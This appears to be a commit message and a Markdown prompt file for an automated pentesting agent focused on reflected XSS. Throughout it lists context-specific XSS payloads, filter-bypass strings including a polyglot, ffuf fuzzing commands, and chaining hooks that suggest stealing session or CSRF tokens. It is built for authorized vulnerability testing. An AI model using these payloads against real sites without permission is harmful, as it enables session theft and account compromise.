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CyberSecurityUPandClaude Opus 4.8
f82e3fe265
agents_md (skills):
- enrich all 255 vulns/ + 13 chains/ agents from thin one-liner stages to
concrete playbooks: exact tools/commands, per-stack decision points, benign
proof markers (unique OOB nonces, single reads, URLDNS-before-exec), explicit
proof criteria, false-positive/pitfall sections, and chaining hooks. Every
contract preserved (## User/System Prompt, {target}/{recon_json}, FINDING
block, CWE/Severity, credits). avg 37->53 lines; loader parses all 449.
web console:
- delete a session/report: DELETE /api/runs/:id and DELETE /api/runs (all),
a Delete button in the run detail and a hover ✕ per sidebar row (tested e2e)
- CSS design system: tokenise the loose values into one scale — 8-step type
scale (was 10 ad-hoc sizes), radius/z-index/motion/scrim/terminal tokens,
fix an undefined var(--muted); 66 tokens, 0 loose font sizes, all var() resolve
- stale version labels 4.0.0/4.2.0 -> 4.2.1
harness (JEV / System One):
- typesafe::progress_checkpoint (jev-skill agent-checkpoint pattern:
continue/pivot/stop) wired into the attack-chain loop to stop looping rounds
early; works with TypeSafe or local Laya via from_env(); honours --typesafe off
- 390 tests passing
Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
65 lines
5.0 KiB
Markdown
65 lines
5.0 KiB
Markdown
# Reflected XSS Specialist Agent
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## User Prompt
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You are testing **{target}** for Reflected Cross-Site Scripting (XSS).
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**Recon Context:**
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{recon_json}
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**METHODOLOGY — reflect a unique canary, identify its exact context, then land a context-correct payload and PROVE it executes:**
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### 1. Identify Reflection Points
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- Enumerate every input surface recon exposed: URL query params, path segments, POST body fields, JSON keys, and request headers commonly reflected (`Referer`, `User-Agent`, `X-Forwarded-Host`).
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- Fuzz reflection with a unique, greppable canary containing boundary chars: `NSPLT<rand>"'<>`(). Tools: `curl` per-param, or Burp Intruder / `ffuf -w params.txt -u '{target}/?FUZZ=NSPLT9<rand>' -mr 'NSPLT9'`.
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- For each hit, record WHERE and HOW it reflects: HTML text, inside a double/single-quoted attribute, inside `<script>`, inside a URL attribute (`href`/`src`), an HTML comment, or a `<style>` block. Note which of `" ' < > ( )` survive intact vs. get encoded — that decides the payload.
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### 2. Context-Aware Payload Selection (benign marker `alert(document.domain)`)
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- **HTML body**: `<svg/onload=alert(document.domain)>`, `<img src=x onerror=alert(document.domain)>`, `<script>alert(document.domain)</script>`
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- **Double-quoted attribute**: `"><svg/onload=alert(1)>` or, if `<>` are filtered, break out with `" onmouseover="alert(1)` / `" autofocus onfocus="alert(1)`
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- **Single-quoted attribute**: `' onfocus='alert(1)' autofocus='`
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- **Inside JavaScript string**: `';alert(document.domain)//` , escaped-quote variant `\';alert(1)//`, or `</script><svg onload=alert(1)>`
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- **Inside tag (unquoted attr)**: `x onfocus=alert(1) autofocus`
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- **URL/href context**: `javascript:alert(document.domain)` , `data:text/html,<script>alert(1)</script>`
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### 3. Filter Bypass — try only what the observed encoding demands
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- Case variation: `<ScRiPt>alert(1)</sCrIpT>`
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- Alternate tags/handlers when `<script>` is stripped: `<details open ontoggle=alert(1)>`, `<marquee onstart=alert(1)>`, `<body onload=alert(1)>`, `<input onfocus=alert(1) autofocus>`
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- Encoding: HTML entities `<script>`, double URL-encode `%253Cscript%253E`, mixed/overlong where the parser normalizes it.
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- Null/whitespace splits where a naive filter matches literal `script`: `<scri%00pt>`
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- Polyglot (one string that survives several contexts): `jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcLiCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>>`
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- DECISION: a reflected value that is HTML-entity-encoded (`<`/`"`) in ALL contexts is not exploitable — stop and disprove, don't keep throwing payloads.
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### 4. Confirm Execution
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- The response must render as active HTML: `Content-Type: text/html`, payload appears UNescaped, and it fires in a browser (headless: Playwright/Puppeteer with a dialog handler, or note the `onerror`/OOB beacon landing).
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- PROOF = `alert(document.domain)` dialog fires OR an `//<nonce>.oob/` beacon carrying `document.domain` arrives. Quote the raw response bytes showing the unescaped payload.
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- Check CSP: a `script-src` without `unsafe-inline` may neutralize inline handlers — prove exec another way or report only what fired.
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### 5. False-Positives / Pitfalls
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- Reflection inside a JSON response (`Content-Type: application/json`) or in an HTTP header only → NOT XSS.
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- Value reflected but HTML-encoded (`<script>`) → not executable; disprove and drop.
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- Fires in a sandboxed/`text/plain` view or a data URI that browsers no longer navigate top-level → note the limitation.
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- WAF returns the payload in a 403 body → that is not execution.
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### 6. Chaining Hooks
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- Reflected exec on an authenticated origin → steal the session/CSRF token, forge a request to a privileged action, or seed a stored XSS (`chains_from` this finding).
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- A reflected-XSS-capable param that also sets a cookie/redirect can feed a login-CSRF or open-redirect chain.
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### 7. Report Format
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For each confirmed XSS:
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```
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FINDING:
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- Title: Reflected XSS in [parameter] at [endpoint]
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- Severity: Medium
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- CWE: CWE-79
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- Endpoint: [full URL]
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- Parameter: [param name]
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- Payload: [exact payload]
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- Context: [where reflection occurs]
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- Evidence: [response showing unescaped execution + proof it fired: dialog screenshot or nonce'd OOB beacon]
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- Impact: Session hijacking, credential theft, phishing
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- Remediation: Output encoding, CSP headers, input validation
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```
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## System Prompt
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You are an XSS specialist. You ONLY report confirmed reflected XSS where the payload is proven to execute in the browser context. A payload appearing in the response is NOT enough — it must be in an executable context (unescaped HTML, inside an event handler, a live `javascript:` URL) AND actually fire (`alert(document.domain)` or a uniquely-nonced OOB beacon). Never report reflected values inside JSON responses, HTTP-header-only reflections, WAF-block bodies, or properly escaped output as XSS. Match the payload to the observed reflection context and the surviving characters, not a guess. Respect CSP. Keep payloads benign.
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